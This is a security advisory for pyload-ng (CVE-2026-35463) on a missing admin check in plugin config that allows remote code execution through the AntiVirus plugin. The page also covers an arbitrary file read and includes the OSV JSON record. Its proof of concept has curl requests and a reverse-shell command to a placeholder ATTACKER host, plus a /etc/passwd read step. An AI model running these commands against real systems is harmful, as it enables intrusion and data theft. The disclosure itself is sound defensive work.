GHSA-W48F-WWWF-F5FR
Vulnerability from github – Published: 2026-04-04 06:41 – Updated: 2026-04-07 19:59Summary
The ADMIN_ONLY_OPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.
Details
Safe wrapper — ADMIN_ONLY_OPTIONS (core/api/init.py:225-235):
ADMIN_ONLY_OPTIONS = {
"reconnect.script", # Blocks script path change
"webui.host", # Blocks bind address change
"ssl.cert_file", # Blocks cert path change
"ssl.key_file", # Blocks key path change
# ... other sensitive options
}
Where it IS enforced — core config (core/api/init.py:255):
def set_config_value(self, section, option, value):
if f"{section}.{option}" in ADMIN_ONLY_OPTIONS:
if not self.user.is_admin:
raise PermissionError("Admin only")
# ...
Where it is NOT enforced — plugin config (core/api/init.py:271-272):
# Plugin config - NO admin check at all
self.pyload.config.set_plugin(category, option, value)
Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):
def scan_file(self, file):
avfile = self.config.get("avfile") # User-controlled via plugin config
avargs = self.config.get("avargs")
subprocess.Popen([avfile, avargs, target]) # RCE
PoC
# As non-admin user with SETTINGS permission:
# 1. Set AntiVirus executable to a reverse shell
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
-d 'section=plugin' \
-d 'option=AntiVirus.avfile' \
-d 'value=/bin/bash'
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
-d 'section=plugin' \
-d 'option=AntiVirus.avargs' \
-d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
# 2. Enable the AntiVirus plugin
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
-d 'section=plugin' \
-d 'option=AntiVirus.activated' \
-d 'value=True'
# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload
curl -b session_cookie -X POST http://TARGET:8000/api/add_package \
-d 'name=test' \
-d 'links=http://example.com/test.zip'
# Result: reverse shell as the pyload process user
Additional Finding: Arbitrary File Read via storage_folder
The storage_folder validation at core/api/__init__.py:238-246 uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting storage_folder=/ combined with GET /files/get/etc/passwd gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.
Impact
- Remote Code Execution — Non-admin user can execute arbitrary commands via AntiVirus plugin config
- Privilege escalation — SETTINGS permission (non-admin) escalates to full system access
- Arbitrary file read — Via storage_folder manipulation
Remediation
Apply ADMIN_ONLY_OPTIONS to plugin config as well:
# In set_config_value():
ADMIN_ONLY_PLUGIN_OPTIONS = {
"AntiVirus.avfile",
"AntiVirus.avargs",
# ... any plugin option that controls executables or paths
}
if section == "plugin" and option in ADMIN_ONLY_PLUGIN_OPTIONS:
if not self.user.is_admin:
raise PermissionError("Admin only")
Or better: validate that avfile points to a known AV binary before passing to subprocess.Popen().
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3.dev96"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35463"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T06:41:59Z",
"nvd_published_at": "2026-04-07T15:17:44Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `ADMIN_ONLY_OPTIONS` protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is **only applied to core config options**, not to plugin config options. The `AntiVirus` plugin stores an executable path (`avfile`) in its config, which is passed directly to `subprocess.Popen()`. A non-admin user with SETTINGS permission can change this path to achieve remote code execution.\n\n### Details\n\n**Safe wrapper \u2014 `ADMIN_ONLY_OPTIONS` (core/api/__init__.py:225-235):**\n\n```python\nADMIN_ONLY_OPTIONS = {\n \"reconnect.script\", # Blocks script path change\n \"webui.host\", # Blocks bind address change\n \"ssl.cert_file\", # Blocks cert path change\n \"ssl.key_file\", # Blocks key path change\n # ... other sensitive options\n}\n```\n\n**Where it IS enforced \u2014 core config (core/api/__init__.py:255):**\n\n```python\ndef set_config_value(self, section, option, value):\n if f\"{section}.{option}\" in ADMIN_ONLY_OPTIONS:\n if not self.user.is_admin:\n raise PermissionError(\"Admin only\")\n # ...\n```\n\n**Where it is NOT enforced \u2014 plugin config (core/api/__init__.py:271-272):**\n\n```python\n # Plugin config - NO admin check at all\n self.pyload.config.set_plugin(category, option, value)\n```\n\n**Dangerous sink \u2014 AntiVirus plugin (plugins/addons/AntiVirus.py:75):**\n\n```python\ndef scan_file(self, file):\n avfile = self.config.get(\"avfile\") # User-controlled via plugin config\n avargs = self.config.get(\"avargs\")\n subprocess.Popen([avfile, avargs, target]) # RCE\n```\n\n### PoC\n\n```bash\n# As non-admin user with SETTINGS permission:\n\n# 1. Set AntiVirus executable to a reverse shell\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n -d \u0027section=plugin\u0027 \\\n -d \u0027option=AntiVirus.avfile\u0027 \\\n -d \u0027value=/bin/bash\u0027\n\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n -d \u0027section=plugin\u0027 \\\n -d \u0027option=AntiVirus.avargs\u0027 \\\n -d \u0027value=-c \"bash -i \u003e\u0026 /dev/tcp/ATTACKER/4444 0\u003e\u00261\"\u0027\n\n# 2. Enable the AntiVirus plugin\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n -d \u0027section=plugin\u0027 \\\n -d \u0027option=AntiVirus.activated\u0027 \\\n -d \u0027value=True\u0027\n\n# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload\ncurl -b session_cookie -X POST http://TARGET:8000/api/add_package \\\n -d \u0027name=test\u0027 \\\n -d \u0027links=http://example.com/test.zip\u0027\n\n# Result: reverse shell as the pyload process user\n```\n\n### Additional Finding: Arbitrary File Read via storage_folder\n\nThe `storage_folder` validation at `core/api/__init__.py:238-246` uses inverted logic \u2014 it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting `storage_folder=/` combined with `GET /files/get/etc/passwd` gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.\n\n### Impact\n\n- **Remote Code Execution** \u2014 Non-admin user can execute arbitrary commands via AntiVirus plugin config\n- **Privilege escalation** \u2014 SETTINGS permission (non-admin) escalates to full system access\n- **Arbitrary file read** \u2014 Via storage_folder manipulation\n\n### Remediation\n\nApply `ADMIN_ONLY_OPTIONS` to plugin config as well:\n\n```python\n# In set_config_value():\nADMIN_ONLY_PLUGIN_OPTIONS = {\n \"AntiVirus.avfile\",\n \"AntiVirus.avargs\",\n # ... any plugin option that controls executables or paths\n}\n\nif section == \"plugin\" and option in ADMIN_ONLY_PLUGIN_OPTIONS:\n if not self.user.is_admin:\n raise PermissionError(\"Admin only\")\n```\n\nOr better: validate that `avfile` points to a known AV binary before passing to `subprocess.Popen()`.",
"id": "GHSA-w48f-wwwf-f5fr",
"modified": "2026-04-07T19:59:57Z",
"published": "2026-04-04T06:41:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-w48f-wwwf-f5fr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35463"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "pyLoad: Improper Neutralization of Special Elements used in an OS Command"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.